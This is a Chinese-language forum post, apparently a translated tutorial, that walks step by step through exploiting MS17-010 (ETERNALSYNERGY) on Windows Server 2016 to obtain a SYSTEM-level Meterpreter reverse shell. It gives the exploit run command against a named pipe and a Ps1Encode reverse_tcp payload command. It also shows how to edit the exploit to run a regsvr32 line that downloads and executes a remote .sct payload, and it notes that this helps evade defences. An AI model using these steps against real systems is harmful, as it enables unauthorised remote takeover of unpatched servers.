標題:windows2016上如何通過攻擊ETERNALBLUE獲得meterpreter反彈

taibeihacker

Moderator

windows2016上如何通过攻击ETERNALBLUE获得meterpreter反弹​

译:by backlion​

0x00前言​

當微軟發布MS17-010漏洞的補丁時,該漏洞影響的範圍是從Windows 7到Windows Server 2016系統版本。然而,The ShadowBrokers發布的永恆之藍攻擊是非常不穩定的,可能影響到Windows Server 2012和以後的操作系統版本,導致99%的機器受到永恆之藍的攻擊。為了理解並能更好地應用,NSA已發布的漏洞通過了許多安全研究人員的研究。正因為如此,幾天前,已經發布了永恆之石SYNERGY的bug漏洞(由Sleepya開發的)。並改進了漏洞利用,使其在攻擊Windows Server 2012和2016系統時更加穩定。但事實是,如果你想使用這個漏洞,需要進一步弄清楚是,當我們影響目標機器時,是否了解到真正的工作原理,以及需要修改一些代碼,以獲得我們所期望的目標是必然的。
這就是為什麼在分析漏洞之後,我再次來發布另一個如何攻擊windows2016的文章。通一步一步的步驟,作者將解釋所有漏洞利用的問題,使得Sleepya發布的永恆之藍漏洞能夠正常的利用,以及如何修改其特徵,以便在目標機器上獲得一個meterpreter反彈shell.

0x01 漏洞利用​

实验搭建环境:要搭建的實驗環境,我們需要配置以下主機:
目標主機-----Windows Server 2016(將使用Windows Server 2016 64位的機器作為目標主機)
x5vx2gerbel24421.png

安裝全新的操作系統後,無需對其進行任何更改。 知道目標IP地址就足夠了,在進行攻擊的時候主機是需要運行的。
攻擊機-----GNU/Linux
可以使用任何其他linux操作系統這裡筆者建議採用kali,只要在其中安裝以下工具:
Python v2.7 - https://www.python.org/download/releases/2.7
Ps1Encode - https://github.com/CroweCybersecurity/ps1encode
Metasploit Framework - https://github.com/rapid7/metasploit-framework
總結實驗環境搭建所需的配置:
Windows Server 2016 x64 – IP: 10.0.2.13 目標主機
GNU/Linux Debian x64 – IP: 10.0.2.6 攻擊主機
获得exploit:漏洞利用已經在exploit-db上發布,可以從中下載,其下載地址為:
我們可以看到,該exp用Python編寫的。 因此,我們將在攻擊主機上以.py為擴展名保存。 然後運行該py,會在命令中會出現報錯錯誤提示:
ryrhuhthgip24422.png

以上錯誤提示可以看到是缺少mysmb模塊。
解决依赖关系:在代碼行3提示需要導入'mysmb'模塊,但該模塊不在python公共庫中。我們可以使用pip來安裝它,這個模塊是由Sleepya開發的,我們必須從他的github中下載,其下載地址為:
我們將在其與exploit.py同一個文件夾中保存名為'mysmb.py'的腳本。請記住,在Python中,運行exploit.py另外需要創建一個名為'__INIT__.py'的文件,可以在文件夾中查看到。
通過這樣,exploit的腳本會找到必要的導入模塊,將不會再有錯誤提示。
qwnhte54wjz24423.png

检查exploit利用是否生效:如果我們執行它,一旦漏洞利用成功,就會在目標主機上的C:磁盤上創建一個名為'pwned.txt'的文件。那麼就可以驗證漏洞利用是否正常使用,而無需進行太多的修改。
儘管這個簡單的測試不需要修改漏洞任何本身,但我們必須設置一些參數,我們將在下文可以看到。
身份认证:永恆之石SYNERGY漏洞利用前提需要經過身份驗證的攻擊,如果發動攻擊,則可以通過來賓賬號身份驗證,否則,我們必須從目標機器中的任何其他帳戶獲取用戶名和密碼。
重要強調的是帳戶的權限並不重要,即使是Guest帳戶,攻擊後我們獲得的權限依然是SYSTEM。
要定義這些信息,我們必須使用文本編輯器打開exploit.py並跳到第26和27行進行修改:
4betthp1ahl24425.png

以上圖中可以設置用於身份驗證的用戶名和密碼
参数设置:這個exploit需要定義兩個參數:目標IP地址和管道名稱。 SMB協議定義了三種類型的共享:
file:文件(或磁盤)共享,表示目錄樹及其包含的文件
print: 打印共享,可以訪問服務器上的打印資源
pipe:使用FIFO模型的進程之間通信,其中稱為管道連接,同時系統保持運行,儘管該進程不再活動。
與永恆之藍不同,ETERNALROMANCE和ETERNALSYNERGY的漏洞是利用了訪問命名管道的一個bug,這就是為什麼我們需要定義哪一個是用於被攻擊主機。就個人而言,可使用'spoolss'或另一個是'瀏覽器'來訪問管道。也可以使用metasploit的掃描模塊:auxiliary/scanner/smb/pipe_auditor來查找目標主機內可訪問的管道。
执行无shellcode:現在,我們繼續用下面的命令執行漏洞:
python exploit.py target_ip spoolss
az0jz0jhsgw24426.png

正如我們之前所說的,如果執行成功,我們將看到一個新的文件名'PWNED. txt'已創建到目標主機機的C:磁盤上。
swyee5hp4aj24427.png

已成功執行了一大半。下一步,我們將繼續分析如何一點點修改而成功能到meterpreter的反彈shell.
修改shellcode:有很多方法可以利用exploit執行得到meterpreter 反彈shell或其他的方法,而不是僅僅將在目標主機中寫入文本文件中。
第一步是生成我們將要使用的shellcode,為此作者將使用一種個人喜歡的方法,並且在躲避安全防禦方面有很多的好處。
總結一下,shellcode將生成為一個.SCT文件,該漏洞利用將下載並在目標主機中執行,從而使我們成為我們需要的meterpreter’反彈shell會話。

使用PS1ENCODE创建.SCT文件:​

Ps1encode是一個很有用的工具,以允許我們用PowerShell的多種格式生成和編碼metasploit的有效載荷。
我們可以從github中下載:
想生成所需的有效載荷,我們將使用以下參數運行該工具:
ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=ATTACKER_IP -- LPORT=4444 -t sct
我們正在生成的.SCT文件必須存儲在攻擊者的主機或任何其他主機中的Web服務器中。這就是為什麼在執行上一個命令時,該工具會詢問我們.sct文件的完整URL是什麼。如果我們要使用攻擊主機,我們只需要:http://ATTACKER_IP。
0kfvuk5xjof24428.png

注意:可以將生產的.sct文件移動到/var/www/html/下,並啟動web服務,使其web能訪問
允许shellcode.sct下载:最後一步在Ps1Encode的文件夾中生成了一個index.sct文件,為了讓這個被漏洞利用的sct文件下載到目標主機中,我們必須將其移動到Web服務器文件夾下並設置所需的權限。
bpbto5hm4fh24429.png

编辑exploit.py:如果我們用文本編輯器打開exploit.py,我們移動到463行及以上,將找到以下內容:
4hkmyehf1rv24430.png

在這裡,我們可以看到通過exploit攻擊並在目標主機上創建文件了一個pwned.txt文件,但更有趣的是在下面的一行中,可以在其中找到一個被註釋的service_exec()函數。可以查看到,該函數以copy命令為例,創建一個pwned.txt副本文件。如果我們不刪除該行之前的#符號,則不會執行該命令。如果刪除#符號,再次運行這個exploit,我們將在目錄主機中看到c:磁盤中有兩個文本文件:pwned.txt和pwned_exec.txt。
可以清楚地看到,我們可以修改任何執行我們想要的任何其他的命令。
执行shellcode:現在我們知道必須修改這個exploit來改變它的最終執行結果,將編輯調用函數service_exec()的包含命令將其下載到目標主機並執行meterprete的反彈shell.
regsvr32 /s /n /u /i:http://attacker_webserver_ip/shellcode.sct scrobj.dll
這個exploit利用將如下圖所示:
dm4pckgp2bc24432.png

获取Meterpreter会话:最後,在執行exploit.py執行之前,我們必須配置metasploit的exploit/multi/handle來接收Meterpreter會話。
1edwmptdca324433.png

我們通過expliot來執行對修改exploit.py的最後修改保存的腳本。
iyhtmmsdeuq24434.png

幾秒鐘後,我們將在目標計算機上獲取到Meterpreter反彈shell會話,它具有SYSTEM權限。
rfga43n51gb24435.png

0x02 总结​

最後,我們在Windows Server 2016 上獲得了具有管理員權限的Meterpreter shell。 幾週前,作者已在exploit-db社區上的發表該漏洞利用文章,但是只寫了關於Windows 7和Windows Server 2008 R2以及Windows Server 2012 R2漏洞利用。 這次將發表關於windows2016的漏洞利用。
 
返回
上方